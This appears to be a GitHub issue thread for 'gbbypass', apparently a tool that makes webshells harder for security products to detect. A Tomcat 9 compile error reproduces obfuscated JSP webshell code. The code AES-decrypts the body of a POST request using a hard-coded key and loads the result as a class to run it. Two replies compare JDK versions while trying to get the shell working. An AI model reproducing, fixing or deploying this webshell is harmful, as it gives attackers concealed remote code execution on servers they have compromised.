tomcat9报错 about gbbypass HOT 2 OPEN

类型 异常报告

消息 无法为JSP编译类:

描述 服务器遇到一个意外的情况，阻止它完成请求。

例外情况

org.apache.jasper.JasperException: 无法为JSP编译类:

JSP文件：[/1.jsp] 的第 [22] 行发生了一个错误 BASE64Decoder cannot be resolved to a type 19: String[] tas9erDU = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"}; 20: String tas9er9v = tas9erDU[1] + tas9erDU[3] + tas9erDU[5] + tas9erDU[7]; 21: if (request.getMethod().equals(tas9er9v)) { 22: String tas9er2z = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw==")); 23: session.setAttribute("u", tas9er2z); 24: Cipher tas9ert3 = Cipher.getInstance("AES"); 25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES"));

JSP文件：[/1.jsp] 的第 [26] 行发生了一个错误 sun.misc.BASE64Decoder cannot be resolved to a type 23: session.setAttribute("u", tas9er2z); 24: Cipher tas9ert3 = Cipher.getInstance("AES"); 25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES")); 26: new tas9erg8(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er86(tas9ert3.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); 27: } 28: %>

jdk版本多少

from gbbypass.

相同报错+1，jdk1.8,tomcat9.0.46

from gbbypass.